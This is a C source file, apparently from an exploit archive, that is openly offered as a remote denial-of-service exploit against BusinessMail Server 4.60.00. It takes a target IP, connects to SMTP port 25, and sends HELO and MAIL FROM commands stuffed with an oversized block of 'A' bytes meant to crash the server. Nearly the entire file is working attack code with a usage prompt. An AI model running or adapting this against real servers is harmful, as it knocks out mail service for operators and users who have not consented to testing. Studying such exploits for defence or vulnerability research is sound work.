/*****************************************************************

BusinessMail Server Remote Denial of Service Exploit by Kozan
( Based on Reed Arvin's code in perl )

Application: BusinessMail Server 4.60.00
Vendor: www.netcplus.com

Discovered by:  Reed Arvin
Exploit Coded by: Kozan
Credits to ATmaCA,  Reed Arvin
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

*****************************************************************/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

char Buff[] =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";

int main(int argc, char *argv[])
{
      fprintf(stdout, "BusinessMail Server Remote Denial of Service Exploit by Kozan\n");
      fprintf(stdout, "Discovered by: Reed Arvin\n");
      fprintf(stdout, "Exploit Coded by: Kozan\n");
      fprintf(stdout, "Credits to ATmaCA, Reed Arvin\n\n");
      fprintf(stdout, "www.spyinstructors.com - kozan@spyinstructors.com\n");

      if(argc<2)
      {
              fprintf(stderr, "\n\nUsage: %s [Target IP]\n\n", argv[0]);
              return -1;
      }
      WSADATA wsaData;
      SOCKET sock;

      if( WSAStartup(0x0101,&wsaData) < 0 )
      {
              fprintf(stderr, "Winsock error!\n");
              return -1;
      }

      sock = socket(AF_INET,SOCK_STREAM,0);
      if( sock == -1 )
      {
              fprintf(stderr, "Socket error!\n");
              return -1;
      }

      struct sockaddr_in addr;

      addr.sin_family = AF_INET;
      addr.sin_port = htons(25);
      addr.sin_addr.s_addr = inet_addr(argv[1]);
      memset(&(addr.sin_zero), '\0', 8);

      fprintf(stdout, "Connecting to %s ...\n", argv[1]);

      if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) ) == -1 )
      {
              fprintf(stderr, "Connection failed!\n");
              closesocket(sock);
              return -1;
      }

      fprintf(stdout, "Connected.\n");

      char szBuf1[1024], szBuf2[1024];

      wsprintf(szBuf1, "HELO %s\r\n", Buff);
      wsprintf(szBuf2, "MAIL FROM:%s\r\n", Buff);

      fprintf(stdout, "Sending HELO ...\n");

      if( send(sock,szBuf1,strlen(szBuf1),0) == -1 )
      {
              fprintf(stderr, "HELO string could not sent!\n");
              closesocket(sock);
              return -1;
      }

      fprintf(stdout, "Sending MAIL FROM ...\n");

      if( send(sock,szBuf2,strlen(szBuf2),0) == -1 )
      {
              fprintf(stderr, "MAIL FROM string could not sent!\n");
              closesocket(sock);
              return -1;
      }

      fprintf(stdout, "Operation completed...\n");
      closesocket(sock);
      WSACleanup();

      return 0;
}